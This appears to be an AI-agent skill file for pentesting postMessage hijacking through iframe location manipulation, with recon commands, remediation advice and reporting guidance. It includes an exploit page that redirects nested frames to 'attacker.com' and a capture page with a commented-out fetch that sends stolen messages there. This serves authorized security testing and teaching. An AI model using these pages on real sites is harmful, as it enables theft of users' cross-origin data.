Hacktricks-skills postmessage-iframe-exploit

Security testing skill for detecting and exploiting postMessage vulnerabilities through iframe location manipulation. Use this skill when testing web applications for postMessage security issues, when you need to check if nested iframes can be hijacked, when auditing cross-origin communication, or when investigating potential data exfiltration through postMessage. Trigger this skill for any pentesting task involving postMessage, iframe security, cross-origin communication vulnerabilities, or when the user mentions testing for message hijacking, iframe location manipulation, or wildcard postMessage receivers.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location/SKILL.MD
source content

PostMessage Iframe Location Exploit Testing

This skill helps security testers identify and validate postMessage vulnerabilities where an attacker can hijack iframe locations to intercept sensitive data.

Vulnerability Overview

This attack works when:

  1. A parent page can be iframed (no X-Frame-Options or X-Frame-Options: SAMEORIGIN)
  2. The parent page contains nested iframes
  3. The page uses
    postMessage
    with wildcard (
    *
    ) or overly permissive target origins
  4. The attacker can manipulate
    frames[].location
    to redirect iframe content

When to Use This Skill

Use this skill when:

  • Testing web applications for postMessage security vulnerabilities
  • Auditing cross-origin communication patterns
  • Investigating potential data exfiltration vectors
  • Performing authorized penetration testing on web applications
  • Reviewing iframe implementations for security issues

Testing Methodology

Step 1: Reconnaissance

Identify potential targets:

# Check for X-Frame-Options header
curl -I https://target-site.com | grep -i x-frame-options

# Check for Content-Security-Policy frame-ancestors
curl -I https://target-site.com | grep -i content-security-policy

If no X-Frame-Options header exists, the page may be iframeable.

Step 2: Identify Nested Iframes

Look for pages that:

  • Embed third-party content (Google Docs, Sheets, external widgets)
  • Use iframes for cross-origin communication
  • Implement postMessage for data exchange
// In browser console on target page
document.querySelectorAll('iframe').forEach((frame, i) => {
  console.log(`Frame ${i}:`, frame.src);
});

Step 3: Detect Wildcard postMessage Usage

Search the page source for postMessage patterns:

# Look for wildcard receivers
grep -r 'postMessage.*\*' /path/to/page-source/

# Look for overly permissive target origins
grep -r 'postMessage.*"\*"' /path/to/page-source/

Step 4: Test Iframe Location Manipulation

Create a test page to attempt the exploit:

<!DOCTYPE html>
<html>
<head>
  <title>PostMessage Iframe Test</title>
</head>
<body>
  <h1>PostMessage Iframe Location Test</h1>
  <iframe id="target-frame" src="https://target-site.com/page-with-iframe"></iframe>
  
  <script>
    // Attempt to manipulate nested iframe locations
    function attemptIframeManipulation() {
      const frames = window.frames;
      
      // Try to access and modify nested frames
      for (let i = 0; i < frames.length; i++) {
        try {
          const frame = frames[i];
          console.log(`Testing frame ${i}:`, frame.location.href);
          
          // Attempt to modify location (will fail if cross-origin restrictions apply)
          // This is the core of the vulnerability
          if (frame.frames && frame.frames.length > 0) {
            for (let j = 0; j < frame.frames.length; j++) {
              try {
                frame.frames[j].location = 'https://attacker.com/capture.html';
                console.log(`Modified frame ${i}.${j} location`);
              } catch (e) {
                console.log(`Cannot modify frame ${i}.${j}:`, e.message);
              }
            }
          }
        } catch (e) {
          console.log(`Cannot access frame ${i}:`, e.message);
        }
      }
    }
    
    // Run periodically as iframes may load asynchronously
    setTimeout(attemptIframeManipulation, 2000);
    setInterval(attemptIframeManipulation, 1000);
  </script>
</body>
</html>

Step 5: Capture PostMessage Data

If the location manipulation succeeds, set up a receiver:

<!DOCTYPE html>
<html>
<head>
  <title>PostMessage Capture</title>
</head>
<body>
  <h1>Captured Messages</h1>
  <div id="messages"></div>
  
  <script>
    // Listen for all postMessage events
    window.addEventListener('message', function(event) {
      const messageData = {
        origin: event.origin,
        source: event.source ? 'iframe' : 'window',
        data: event.data,
        timestamp: new Date().toISOString()
      };
      
      // Log to console
      console.log('Captured message:', messageData);
      
      // Display on page
      const div = document.createElement('div');
      div.innerHTML = `<pre>${JSON.stringify(messageData, null, 2)}</pre>`;
      document.getElementById('messages').appendChild(div);
      
      // Optionally exfiltrate to attacker server
      // fetch('https://attacker.com/capture', {
      //   method: 'POST',
      //   headers: {'Content-Type': 'application/json'},
      //   body: JSON.stringify(messageData)
      // });
    });
  </script>
</body>
</html>

Common Vulnerable Patterns

Pattern 1: Wildcard Target Origin

// VULNERABLE - sends to any origin
window.parent.postMessage(data, '*');

// SECURE - specify exact origin
window.parent.postMessage(data, 'https://trusted-origin.com');

Pattern 2: Missing Origin Validation

// VULNERABLE - accepts messages from any origin
window.addEventListener('message', function(event) {
  // No origin check!
  processSensitiveData(event.data);
});

// SECURE - validate origin
window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted-origin.com') {
    return; // Reject untrusted messages
  }
  processSensitiveData(event.data);
});

Pattern 3: Iframeable Pages with Nested Iframes

<!-- VULNERABLE if no X-Frame-Options header -->
<html>
  <body>
    <iframe src="https://third-party.com/widget"></iframe>
    <script>
      // Sends data to nested iframe
      window.frames[0].postMessage(sensitiveData, '*');
    </script>
  </body>
</html>

Remediation Recommendations

For Developers

  1. Set X-Frame-Options header

    X-Frame-Options: DENY
    # or
    X-Frame-Options: SAMEORIGIN
    
  2. Use Content-Security-Policy

    Content-Security-Policy: frame-ancestors 'self';
    
  3. Specify exact postMessage origins

    // Instead of '*'
    window.parent.postMessage(data, 'https://specific-trusted-origin.com');
    
  4. Validate message origins

    window.addEventListener('message', function(event) {
      if (event.origin !== 'https://expected-origin.com') {
        return;
      }
      // Process message
    });
    
  5. Use frame-busting scripts

    if (window.top !== window.self) {
      window.top.location = window.location;
    }
    

Reporting Findings

When documenting this vulnerability:

  1. Severity: High (potential for data exfiltration)

  2. CVSS Factors:

    • Attack Vector: Network
    • Attack Complexity: Low (if conditions met)
    • Privileges Required: None
    • User Interaction: None (automated)
    • Confidentiality: High impact
    • Integrity: Medium impact
    • Availability: Low impact
  3. Proof of Concept: Include the test page that demonstrates the exploit

  4. Impact: Describe what data could be exfiltrated

  5. Remediation: Provide the recommendations above

Safety and Ethics

⚠️ IMPORTANT: Only use this skill for:

  • Authorized security testing on systems you own or have explicit permission to test
  • Educational purposes in controlled environments
  • Bug bounty programs where this vulnerability type is in scope

Do not use this technique on:

  • Systems without explicit authorization
  • Production systems without proper testing procedures
  • Third-party applications without permission

References